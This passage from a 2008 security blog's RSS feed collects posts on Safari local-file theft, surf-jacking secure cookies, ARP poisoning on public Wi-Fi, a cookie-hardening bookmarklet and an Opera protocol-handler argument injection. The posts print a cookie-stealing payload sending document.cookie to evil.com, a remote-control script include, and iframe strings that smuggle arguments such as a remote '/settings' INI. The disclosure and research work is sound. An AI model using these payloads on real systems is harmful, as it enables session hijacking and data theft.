Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.<br />
<br />
In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.<br />
<br />
Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a &lt;script src=”http://attacker-server/remote-control.js&gt;&lt;/script&gt; if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.<br />
<br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/11/xmlhttp.png"><img class="alignnone size-medium wp-image-188" title="xmlhttp" src="http://xs-sniper.com/blog/wp-content/uploads/2008/11/xmlhttp-300x94.png" alt="" width="300" height="94" /></a><br />
<br />
Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).<br />
<br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/11/iewarning.png"><img class="alignnone size-full wp-image-186" title="IE Warning" src="http://xs-sniper.com/blog/wp-content/uploads/2008/11/iewarning.png" alt="" width="453" height="75" /></a><br />
<br />
Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go&#8230; Stealing Files with Safari!</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Surf Jacking Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/</link>
		<comments>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 09:10:03 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookie theft]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[local network]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[surf jacking]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=172</guid>
		<description><![CDATA[I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking… The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…<br />
<br/><br />
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.<br />
<br/><br />
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?<br />
<br/><br />
Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a <strong>“script src”</strong> tag pointing to an <strong>insecure location</strong> (http://) then you can <strong>STILL STEAL THE COOKIE</strong>, even if its marked secure.   Let me explain…<br />
<br/><br />
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on xs-sniper.com that does analytics for my web application.  We’ll name this page http://xs-sniper.com/analytics.html.  This page is meant to be served as<strong> <span style="color: #ff0000;">http://</span></strong> and contains no sensitive data, but if a user makes a direct request for <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong>xs-sniper.com/analytics.html the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:<br />
<br/><br/><br />
&lt;script src=&#8221;<strong><span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span></strong>myanalytics.com/webbugs.js&#8221;&gt;&lt;/script&gt;<br />
<br/><br/><br />
Now, using the surf jack technique, Sandro redirected the victim to an <strong><span style="color: #ff0000;">http://</span></strong> version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong> page on our victim domain that contains an <strong>insecure script src</strong> tag like the one shown above (https://xs-sniper.com/analytics.html).  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):<br />
<br/><br/><br />
CookiesStealer = new Image();</p>
<p>CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;<br />
<br/><br/><br />
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.<br />
<br/><br />
Without warning or prompt, every browser I tested allowed an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span> page to </strong><strong>load a script src from an insecure <span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span> location</strong>.  Ok&#8230; I lied&#8230; every browser EXCEPT ONE&#8230; can you guess which lonely browser provided a warning before allowing an<span style="color: #00ff00;"> <strong>https://</strong></span><strong> </strong>page to load a script from an <strong><span style="color: #ff0000;">http://</span></strong> location?  You can find the answer<em><strong> <a title="And the Winner is...." href="http://tinyurl.com/yd9ugb " target="_blank">here</a></strong></em>.  For those of you in disbelief, you can test your favorite browser(s) <strong><em><a title="Insecure Content from HTTPS" href="https://www.xs-sniper.com/javascript/insecure-script-src.php" target="_blank">here</a></em></strong>.<br />
<br/><br />
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked&#8230; that&#8217;s pretty cool&#8230;<br />
<br/><br />
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an <span style="color: #ff0000;"><strong>http:// </strong></span>page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full <span style="color: #ff0000;"><strong>http://</strong></span> page and called document.cookie, the secure cookie would be missing. This is why I needed to call an <span style="color: #00ff00;"><strong>https:// page with a script src that loaded an insecure script file.</strong></span></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Hostile Hotel Networks?!?!</title>
		<link>http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/</link>
		<comments>http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 09:02:57 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[cain]]></category>
		<category><![CDATA[cleartext]]></category>
		<category><![CDATA[insecure protocols]]></category>
		<category><![CDATA[legacy]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[poison]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=49</guid>
		<description><![CDATA[Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I&#8217;m talking about here. As I read the article&#8230; I couldn&#8217;t help but smile&#8230; the article made it seem like Hotels have horribly insecure networks!  The truth is, THEY DO…along with airports, coffee shops, bookstores and [...]]]></description>
			<content:encoded><![CDATA[<p>Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I&#8217;m talking about <em><strong><a title="Hotel Networks" href="http://www.darkreading.com/document.asp?doc_id=163671" target="_blank">here</a></strong></em>.<br />
<br/><br />
As I read the article&#8230; I couldn&#8217;t help but smile&#8230; the article made it seem like Hotels have horribly insecure networks!  The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!<br />
<br/><br />
Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely.  Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY.  Take for example, Address Resolution Protocol (ARP).  ARP is the one protocol that really makes me paranoid.  The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information <em><strong><a title="wiki ARP Poison" href="http://en.wikipedia.org/wiki/ARP_spoofing" target="_blank">here</a>, <a title="Oxid Intro to ARP" href="http://www.oxid.it/downloads/apr-intro.swf" target="_blank">here</a></strong></em>, and <em><strong><a title="Watchguard" href="http://www.watchguard.com/infocenter/editorial/135324.asp" target="_blank">here</a>.</strong></em><br />
<br/><br />
The ARP abuses I&#8217;m most interested in are ARP Poisoning attacks.  These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway.  Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms).  Ask yourself this question&#8230;. why would I ever join an un-trusted network and possibly subject myself to such attacks? <br />
<br/><br />
Surprisingly, people join un-trusted networks all time.  If you&#8217;ve ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport&#8230;. you&#8217;ve joined an un-trusted network… IT’S THAT SIMPLE.  Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network.  Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.<br />
<br/><br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/cain2.jpg"><img class="alignnone size-medium wp-image-168" title="cain2" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/cain2-300x213.jpg" alt="" width="300" height="213" /></a><br />
<br/><br/><br />
Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business.  Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to &#8220;get this out before my plane leaves!&#8221;  If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails&#8230; everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see&#8230; and let the creds roll in.  It&#8217;s that simple&#8230; trust me&#8230;  I&#8217;ve seen it firsthand&#8230;  I can guarantee that you&#8217;ll have someone’s creds within 5 minutes&#8230;<br />
<br/><br />
Security pros will argue, “you can use a VPN” and they are right.  If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user?  What about mom and pop, traveling on vacation… where is their VPN?  Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way.  Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host.  Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning.  It&#8217;s truly amazing how noisy our computers have become, spitting out all sorts of info&#8230; trusting that everyone else on the network is playing nicely.<br />
<br/><br />
Let’s say you understand the risks of MITM and you have to email something out before your plane leaves.  You attempt to connect to your VPN server and you see a certificate warning.  You suspect that someone may have an MITM against you using ARP Poisoning&#8230; what can you do to protect yourself and still get the email out?</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Simple Lesson on Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/09/secure-cookies/</link>
		<comments>http://xs-sniper.com/blog/2008/09/09/secure-cookies/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 09:05:50 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[dependencies]]></category>
		<category><![CDATA[document.cookie]]></category>
		<category><![CDATA[ghetto javascript]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[surf jacking]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=144</guid>
		<description><![CDATA[I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;. You can find the paper here. It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent [...]]]></description>
			<content:encoded><![CDATA[<p>I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;.  You can find the paper <em><strong><a title="Surf Jacking" href="http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf" target="_blank">here</a>.</strong></em><br />
<br/><br />
It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel.  These tricks are possible if the secure flag isn’t set for the session cookie.  These types of attacks have been discussed before.  Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.<br />
<br/><br />
&lt;RANT&gt; It bugs me that we’re still dealing with issues like this.  Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications.  Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$).  The true victim&#8217;s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. &lt;/RANT&gt;<br />
<br/><br />
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective&#8230; yet we continue to struggle on wide scale implementation because we&#8217;ve taken dependencies on insecure behavior.  SSL certs are another great example of this.  Every major browser has a way to bypass the security provided by SSL certs.  Browsers MUST offer this bypass because if they didn&#8217;t, it would break the web&#8230; but i digress.<br />
<br/><br />
There is a bright spot when it comes to the protecting cookies.  Cookies are stored and protected by the browser (as any decent web app hacker should know!).  So, when an application server issues a &#8220;SET-COOKIE&#8221; header, it&#8217;s merely a recommendation as to how the browser should use the cookie.  Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires&#8230;etc) associated with cookies are enforced ENTIRELY by the browser.  So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels.  This is really simple stuff, so seasoned web app hackers can stop here.  Everyone else can continue reading.<br />
<br/><br />
I&#8217;ve set up a page on <a title="Set Cookie!" href="http://xs-sniper.com/Cookies/cookie-protections.php" target="_blank"><strong>here</strong></a> that simply sets a cookie in the following manner:<br />
<br/><br />
<em><strong>Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE</strong></em><br />
<br/><br />
Examining the Cookie in FireFox shows the following:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2.jpg"><img class="size-medium wp-image-149 alignnone" title="Insecure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2-300x122.jpg" alt="Bad Cookie!" width="300" height="122" /></a><br />
<br/><br />
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server.  In fact, my server will NEVER set the secure flag for the XSSNIPER cookie.  Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.<br />
<br/><br />
<em><strong>javascript:var cookies=unescape(document.cookie);var split=cookies.split(&quot;;&quot;);for (i = 0; i &lt;split.length;i++){document.cookie=split[i]+&quot;;expires=Thu,1-Jan-1970 00:00:00 GMT;&quot;;document.cookie=split[i]+&quot;;secure;&quot;}document.location=&quot;http://xs-sniper.com/blog&quot;;</strong></em><br />
<br/><br />
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure.  I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute&#8230;  Hmmmm a tool to prevent Surf/Side Jacking attacks&#8230; I wonder what I would call it&#8230; Any ideas Nate?<br />
<br/><br />
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2.jpg"><img class="size-medium wp-image-150 alignnone" title="Secure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2-300x158.jpg" alt="Secure Cookies for everyone!" width="300" height="158" /></a><br />
<br/><br />
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence).  We&#8217;ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.<br />
<br/><br />
Now, this approach does have it cons&#8230; Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics.  This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/09/secure-cookies/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>IE8b2 XSS Filter</title>
		<link>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/</link>
		<comments>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 06:05:37 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[XSS Filter]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=138</guid>
		<description><![CDATA[I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many [...]]]></description>
			<content:encoded><![CDATA[<p>I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… <a title="XSS Filter" href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx" target="_blank"><em><strong>XSS Filter</strong></em></a><br />
<br/><br />
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation <a title="XSS Filter testers" href="http://blogs.msdn.com/dross/archive/2008/08/29/ie8-beta-2.aspx" target="_blank"><em><strong>here</strong></em></a>.<br />
<br/><br/><br />
<strong>Thanks David and CONGRATS on the release!</strong><br />
<br/><br/><br />
Some technical details with regards to XSS-Filter can be found <a title="XSS Filter Info" href="http://blogs.msdn.com/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx" target="_blank"><em><strong>here</strong></em></a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Opera Stuff &#8211; Followup</title>
		<link>http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/</link>
		<comments>http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 09:41:19 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blended threat]]></category>
		<category><![CDATA[cross application]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Protocol Handling]]></category>
		<category><![CDATA[pwnage]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=133</guid>
		<description><![CDATA[It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon&#8230; but on the show&#8230;   Opera 9.52 was released a few days ago&#8230;  I hope you&#8217;ve upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking [...]]]></description>
			<content:encoded><![CDATA[<p>It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon&#8230; but on the show&#8230;</p>
<p> </p>
<p>Opera 9.52 was released a few days ago&#8230;  I hope you&#8217;ve upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive. </p>
<p> </p>
<p>A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across.  You can read the initial advisory <a href="http://www.opera.com/support/search/view/891/" target="_blank"><em><strong>here</strong></em></a>.  Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found <strong><em><a title="Opera 9.52" href="http://www.opera.com/support/search/view/892/" target="_blank">here</a></em></strong>.  Since the issue is patched and the second advisory is out, lets go over the details:</p>
<p> </p>
<p>First of all&#8230; this is a cross application issue (I think <em><strong>Blended Threat</strong></em> is the sexy term being used these days).  We&#8217;ll use a protocol handling &#8220;aware&#8221; application to launch these attacks against Opera.  Opera just has to be installed someplace on the victim&#8217;s machine for this to work.</p>
<p> </p>
<p>When a user installs Opera, the following protocol hanlder is registered:</p>
<p> </p>
<p>Opera.Protocol  &#8221;C:\Program Files\Opera\Opera.exe&#8221; &#8220;%1&#8243;</p>
<p> </p>
<p>Which means.. when I call <span style="color: #ff0000;"><strong>Opera.Protocol://test</strong></span>, the following basically gets passed to the command line (this is a simplified explanation, but hey&#8230; I&#8217;m a simple guy).</p>
<p> </p>
<p>c:\Program Files\Opera\Opera.exe &#8220;<span style="color: #ff0000;"><strong>Opera.Protocol://test</strong></span>&#8221;</p>
<p> </p>
<p>Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera.  In the first example, we will inject the location of a local html file.  When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision.  The protocol handling string we use looks like this:</p>
<p> </p>
<p>&lt;iframe src =  &#8216;<span style="color: #ff0000;">opera.protocol:www.test.com<strong><em>&#8221; &#8220;file://c:\test.html</em></strong></span> &#8216;&gt;</p>
<p> </p>
<p>which ends up executing the following:</p>
<p> </p>
<p>c:\program files\opera\opera.exe &#8220;<span style="color: #ff0000;">opera.protocol:www.test.com<strong><em>&#8221; &#8220;</em></strong></span><a href="file://c:\test.html"><span style="color: #ff0000;"><strong><em>file://c:\test.html</em></strong></span></a>&#8221;</p>
<p> </p>
<p>If we can somehow place an html file to a known location this would be bad.  For arguments sake, lets assume Nate Mcfeters didn&#8217;t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) &#8230; what else can we do?</p>
<p> </p>
<p>Taking a look at the command line arguments supported by Opera, we see a couple interesting items&#8230; one of which is the &#8220;/settings&#8221; argument.  the &#8221;/settings&#8221; argument allows for Opera.exe to be loaded with an arbitrary INI file.  A quick examination of what&#8217;s contained in an <a title="Opera INI" href="http://www.opera.com/support/usingopera/operaini/" target="_blank"><em><strong>Opera INI</strong></em> </a>file shows that if we can control the contents of the INI file, then we can control:  Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading&#8230; the list goes on and on&#8230;</p>
<p> </p>
<p>&lt;iframe src =  &#8216;<span style="color: #ff0000;">opera.protocol:www.test.com<strong>&#8221; /settings &#8220;//attacker-ip/ini-file.ini</strong></span> &#8216;&gt;</p>
<p> </p>
<p>which will result in something like this:</p>
<p> </p>
<p>c;\program files\opera\opera.exe &#8220;<span style="color: #ff0000;">opera.protocol:www.test.com<strong><em>&#8221; /settings &#8220;//attacker-ip/ini-file.ini</em></strong></span>&#8221;</p>
<p> </p>
<p>OUCH&#8230;.Thankfully&#8230; the Opera Security Team has fixed this particular issue!  Kudos to them!</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.659 seconds -->
